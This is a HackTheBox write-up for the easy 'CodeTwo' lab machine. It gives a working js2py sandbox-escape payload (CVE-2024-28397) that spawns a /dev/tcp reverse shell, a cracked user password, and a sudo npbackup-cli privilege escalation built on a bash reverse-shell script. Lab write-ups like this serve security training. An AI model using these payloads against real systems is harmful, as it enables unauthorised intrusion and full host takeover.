CodeTwo

📅 Last Updated: Aug 17, 2025 11:49 | 📄 Size: 5.0 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CodeTwo]
└─$ nmap -sC -sV -Pn 10.10.11.82 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 20:59 UTC
Nmap scan report for 10.10.11.82
Host is up (0.96s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodeTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.39 seconds

Page check

From the index page, we can download the app and find a users.db from instance But nothing in the database, we can also find the app.secret_key

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

By simply viewing the code, we can find the version of js2py

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

CVE-2024-28397

Then we can easily find the vulnerable exploits

About
CVE-2024-28397: js2py sandbox escape, bypass pyimport restriction.
https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/tree/main

Then we can create our own payload and run it

var hacked = Object.getOwnPropertyNames({});
var bymarve = hacked.__getattribute__;
var n11 = bymarve("__getattribute__");
var obj = n11("__class__").__base__;

function findPopen(o) {
    var subs = o.__subclasses__();
    for (var i in subs) {
        try {
            var item = subs[i];
            // solo chequea si tiene atributos de módulo y nombre
            if (item && item.__module__ && item.__name__) {
                if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
                    return item;
                }
            }
            if (item && item.__name__ != "type") {
                var result = findPopen(item);
                if (result) return result;
            }
        } catch(e) {
            // ignorar errores de acceso
            continue;
        }
    }
    return null;
}

var Popen = findPopen(obj);

if (Popen) {
    var cmd = "bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/4444;cat <&5 | while read line; do $line 2>&5 >&5; done'";
    var out = Popen(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
    console.log(out);
} else {
    console.log("Popen no encontrado");
}

We need to register a new account and login to run the code Then we can get the reverse shell here

┌──(wither㉿localhost)-[~/…/htb-labs/Easy/CodeTwo/app]
└─$ nc -lnvp 4444 
listening on [any] 4444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.82] 58646
whoami
app
id
uid=1001(app) gid=1001(app) groups=1001(app)

We can upgrade our reverse shell here

python3 -c 'import pty;pty.spawn("bash")'
^Z
stty raw -echo; fg

By checking the users.db, we can crack the password of marco

marco:sweetangelbabylove

Then you can use su to switch to macro or use ssh

Root path

Firstly, check sudo -l

sudo -l
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

We can check the simple script

cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

We just need to write a simple script and use it to run it

cat > /home/marco/npb <<'SH'
#!/bin/sh
exec /bin/bash -c 'bash -i >& /dev/tcp/10.10.16.7/4444 0>&1'
SH

chmod +x npb

Then

sudo /usr/local/bin/npbackup-cli   --config /home/marco/npbackup.conf   --external-backend-binary=/home/marco/npb   -b --repo-name default

Finally we can get the root shell

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/CodeTwo]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.82] 42082
root@codetwo:/home/marco# id
id
uid=0(root) gid=0(root) groups=0(root)
root@codetwo:/home/marco# whoami
whoami
root

Description

Very easy machine.